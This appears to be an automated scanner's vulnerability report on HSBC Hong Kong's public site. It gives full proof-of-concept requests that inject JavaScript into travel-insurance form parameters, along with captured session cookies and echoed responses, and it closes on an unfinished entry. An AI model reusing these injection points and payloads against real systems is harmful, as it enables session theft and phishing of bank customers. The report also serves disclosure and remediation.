XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, www.hsbc.com.hk Report generated byXSS.CX at Thu Aug 11 18:17:03 GMT-06:00 2011.
Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search
XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading
1. Cross-site scripting (reflected)
1.1. http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_input.hidden_rf parameter]
1.2. http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_input.peopletravelling parameter]
1.3. http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_number_of_children parameter]
1.4. http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_number_of_rf parameter]
1.5. http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4! [PC_7_1_CKB_input.hidden_rf parameter]
1.6. http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4! [PC_7_1_CKB_input.peopletravelling parameter]
1.7. http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4! [PC_7_1_CKB_number_of_children parameter]
1.8. http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4! [PC_7_1_CKB_number_of_rf parameter]
1.9. https://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_input.hidden_rf parameter]
1.10. https://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_input.peopletravelling parameter]
1.11. https://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_input.peopletravelling parameter]
1.12. https://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_number_of_children parameter]
1.13. https://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_number_of_rf parameter]
2. Source code disclosure
2.1. http://www.hsbc.com.hk/1/PA_1_3_S5/content/hongkongpws/internet_banking/flash/econn-demo.swf
2.2. http://www.hsbc.com.hk/1/PA_1_3_S5/content/hongkongpws/personal/mobile_banking/demo/flash/index.swf
2.3. http://www.hsbc.com.hk/1/PA_1_3_S5/content/hongkongpws/theme/js/pws_default.js
2.4. https://www.hsbc.com.hk/1/PA_1_3_S5/content/hongkongpws/internet_banking/flash/econn-demo.swf
2.5. https://www.hsbc.com.hk/1/PA_1_3_S5/content/hongkongpws/theme/js/pws_default.js
3. Cross-domain Referer leakage
3.1. http://www.hsbc.com.hk/1/2/hk/insurance/travel
3.2. http://www.hsbc.com.hk/1/2/special/insurance/prom055
4. Email addresses disclosed
4.1. http://www.hsbc.com.hk/1/2/hk/insurance
4.2. https://www.hsbc.com.hk/1/2/privacy-security
5. Cacheable HTTPS response
5.1. https://www.hsbc.com.hk/1/PA_1_3_S5/content/hongkongpws/internet_banking/flash/econn-demo.swf
5.2. https://www.hsbc.com.hk/1/PA_1_3_S5/content/hongkongpws/theme/js/bottom_section.js
6. Content type incorrectly stated
6.1. http://www.hsbc.com.hk/1/PA_1_3_S5/content/hongkongpws/insurance/videos/images/blank.jpg
6.2. http://www.hsbc.com.hk/1/PA_1_3_S5/content/hongkongpws/internet_banking/flash/econn-demo.swf
6.3. http://www.hsbc.com.hk/1/PA_1_3_S5/content/hongkongpws/personal/mobile_banking/demo/flash/index.swf
6.4. http://www.hsbc.com.hk/1/PA_1_3_S5/content/hongkongpws/theme/js/bottom_section.js
6.5. https://www.hsbc.com.hk/1/PA_1_3_S5/content/hongkongpws/internet_banking/flash/econn-demo.swf
6.6. https://www.hsbc.com.hk/1/PA_1_3_S5/content/hongkongpws/theme/js/bottom_section.js
6.7. https://www.hsbc.com.hk/1/PA_1_3_S5/content/hongkongpws/wab/data/wab/theme/wabprint.css
7. SSL certificate
1. Cross-site scripting (reflected)
next
There are 13 instances of this issue:
Issue background
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes. Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method). The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised. User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc). In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_input.hidden_rf parameter]
next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.hsbc.com.hk
Path:
/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!
Issue detail
The value of the PC_7_1_CKB_input.hidden_rf request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 35e0e%3balert(1)//b81aa6338aede4970 was submitted in the PC_7_1_CKB_input.hidden_rf parameter. This input was echoed as 35e0e;alert(1)//b81aa6338aede4970 in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!?PC_7_1_CKB_WABEngineFormId=travelsurance&PC_7_1_CKB_currentPageNumber=1.1&PC_7_1_CKB_formtimestamp=131bb50c8aa&PC_7_1_CKB_input.trip_type=S&PC_7_1_CKB_input.start_day=12&PC_7_1_CKB_input.start_month=08&PC_7_1_CKB_input.start_year=2011&PC_7_1_CKB_input.start_date=20110812&PC_7_1_CKB_input.end_day=09&PC_7_1_CKB_input.end_month=08&PC_7_1_CKB_input.end_year=2012&PC_7_1_CKB_input.end_date=20120809&PC_7_1_CKB_input.peopletravelling=B&input.no_of_children=3&PC_7_1_CKB_number_of_children=false&input.is_include_rf=Y&PC_7_1_CKB_is_include_rf=false&PC_7_1_CKB_input.hidden_rf=135e0e%3balert(1)//b81aa6338aede4970 &input.no_of_rf=3&PC_7_1_CKB_number_of_rf=false&PC_7_1_CKB_input.destination=2&PC_7_1_CKB_cmd_get_quote.x=32&PC_7_1_CKB_cmd_get_quote.y=13 HTTP/1.1 Host: www.hsbc.com.hk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4! Cookie: HKWTK=1103220746.24515.0000; JSESSIONID=0000chj8giks8WFmVqJ3b5MfvrQ:12gkou1ov; HSBC_COOKIEMI=dd0a91b0-c475-11e0-8391-000708050602; SCMVisit=INSU20110811190739%2CTRIN20110811190827; DigitalMarket=INTERNAL_FIRST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E%7C%23%7CINTERNAL_LAST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E
Response
HTTP/1.1 200 OK Date: Fri, 12 Aug 2011 00:09:10 GMT Server: IBM_HTTP_Server Cache-Control: private Cache-Control: max-age=60 Expires: Fri, 12 Aug 2011 00:10:01 GMT Vary: Accept-Encoding S: tkim2-hbappws51-qrim212 Content-Type: text/html; charset=UTF-8 Content-Length: 61794 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv=...[SNIP]... < 2; i++){ if(trip_option[i].checked==true){ trip_type = trip_option[i].value; } } if(trip_type =="S"){ var checkRF = 135e0e;alert(1)//b81aa6338aede4970 ; var rf_html=""; var crf_html=""; if(checkRF==1){ crf_html='<label class="hsbcCustomText">...[SNIP]...
1.2. http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_input.peopletravelling parameter]
previous
next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.hsbc.com.hk
Path:
/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!
Issue detail
The value of the PC_7_1_CKB_input.peopletravelling request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eed86"%3balert(1)//bce1ca0334318ecc was submitted in the PC_7_1_CKB_input.peopletravelling parameter. This input was echoed as eed86";alert(1)//bce1ca0334318ecc in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!?PC_7_1_CKB_WABEngineFormId=travelsurance&PC_7_1_CKB_currentPageNumber=1.1&PC_7_1_CKB_formtimestamp=131bb50c8aa&PC_7_1_CKB_input.trip_type=S&PC_7_1_CKB_input.start_day=12&PC_7_1_CKB_input.start_month=08&PC_7_1_CKB_input.start_year=2011&PC_7_1_CKB_input.start_date=20110812&PC_7_1_CKB_input.end_day=09&PC_7_1_CKB_input.end_month=08&PC_7_1_CKB_input.end_year=2012&PC_7_1_CKB_input.end_date=20120809&PC_7_1_CKB_input.peopletravelling=Beed86"%3balert(1)//bce1ca0334318ecc &input.no_of_children=3&PC_7_1_CKB_number_of_children=false&input.is_include_rf=Y&PC_7_1_CKB_is_include_rf=false&PC_7_1_CKB_input.hidden_rf=1&input.no_of_rf=3&PC_7_1_CKB_number_of_rf=false&PC_7_1_CKB_input.destination=2&PC_7_1_CKB_cmd_get_quote.x=32&PC_7_1_CKB_cmd_get_quote.y=13 HTTP/1.1 Host: www.hsbc.com.hk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4! Cookie: HKWTK=1103220746.24515.0000; JSESSIONID=0000chj8giks8WFmVqJ3b5MfvrQ:12gkou1ov; HSBC_COOKIEMI=dd0a91b0-c475-11e0-8391-000708050602; SCMVisit=INSU20110811190739%2CTRIN20110811190827; DigitalMarket=INTERNAL_FIRST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E%7C%23%7CINTERNAL_LAST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E
Response
HTTP/1.1 200 OK Date: Fri, 12 Aug 2011 00:09:07 GMT Server: IBM_HTTP_Server Cache-Control: private Cache-Control: max-age=60 Expires: Fri, 12 Aug 2011 00:09:58 GMT Vary: Accept-Encoding S: tkim2-hbappws51-qrim212 Content-Type: text/html; charset=UTF-8 Content-Length: 61827 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv=...[SNIP]... <!-- var checkSubmit = "Beed86";alert(1)//bce1ca0334318ecc "; var trip_type = ""; var trip_option = document.getElementsByName("PC_7_1_CKB_input.trip_type"); for (var i = 0; i < 2; i++){ if(trip_option[i].checked==true){ trip_type = trip_option[i].valu...[SNIP]...
1.3. http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_number_of_children parameter]
previous
next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.hsbc.com.hk
Path:
/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!
Issue detail
The value of the PC_7_1_CKB_number_of_children request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload cc7b4%3balert(1)//9dcf24fbbae29fe73 was submitted in the PC_7_1_CKB_number_of_children parameter. This input was echoed as cc7b4;alert(1)//9dcf24fbbae29fe73 in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!?PC_7_1_CKB_WABEngineFormId=travelsurance&PC_7_1_CKB_currentPageNumber=1.1&PC_7_1_CKB_formtimestamp=131bb50c8aa&PC_7_1_CKB_input.trip_type=S&PC_7_1_CKB_input.start_day=12&PC_7_1_CKB_input.start_month=08&PC_7_1_CKB_input.start_year=2011&PC_7_1_CKB_input.start_date=20110812&PC_7_1_CKB_input.end_day=09&PC_7_1_CKB_input.end_month=08&PC_7_1_CKB_input.end_year=2012&PC_7_1_CKB_input.end_date=20120809&PC_7_1_CKB_input.peopletravelling=B&input.no_of_children=3&PC_7_1_CKB_number_of_children=falsecc7b4%3balert(1)//9dcf24fbbae29fe73 &input.is_include_rf=Y&PC_7_1_CKB_is_include_rf=false&PC_7_1_CKB_input.hidden_rf=1&input.no_of_rf=3&PC_7_1_CKB_number_of_rf=false&PC_7_1_CKB_input.destination=2&PC_7_1_CKB_cmd_get_quote.x=32&PC_7_1_CKB_cmd_get_quote.y=13 HTTP/1.1 Host: www.hsbc.com.hk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4! Cookie: HKWTK=1103220746.24515.0000; JSESSIONID=0000chj8giks8WFmVqJ3b5MfvrQ:12gkou1ov; HSBC_COOKIEMI=dd0a91b0-c475-11e0-8391-000708050602; SCMVisit=INSU20110811190739%2CTRIN20110811190827; DigitalMarket=INTERNAL_FIRST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E%7C%23%7CINTERNAL_LAST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E
Response
HTTP/1.1 200 OK Date: Fri, 12 Aug 2011 00:09:09 GMT Server: IBM_HTTP_Server Cache-Control: private Cache-Control: max-age=60 Expires: Fri, 12 Aug 2011 00:09:59 GMT Vary: Accept-Encoding S: tkim2-hbappws51-qrim212 Content-Type: text/html; charset=UTF-8 Content-Length: 61794 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv=...[SNIP]... <!-- var input_numberOfChildren = falsecc7b4;alert(1)//9dcf24fbbae29fe73 ; var checkSubmit = "B"; var PC_7_1_CKB_no_of_children_list=document.getElementById("PC_7_1_CKB_no_of_children_list"); if (checkSubmit=="C"||checkSubmit=="B"||checkSubmit=="F") { var html='<label...[SNIP]...
1.4. http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_number_of_rf parameter]
previous
next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.hsbc.com.hk
Path:
/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!
Issue detail
The value of the PC_7_1_CKB_number_of_rf request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload d4866%3balert(1)//7adf7fe3a9ec7b8e was submitted in the PC_7_1_CKB_number_of_rf parameter. This input was echoed as d4866;alert(1)//7adf7fe3a9ec7b8e in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
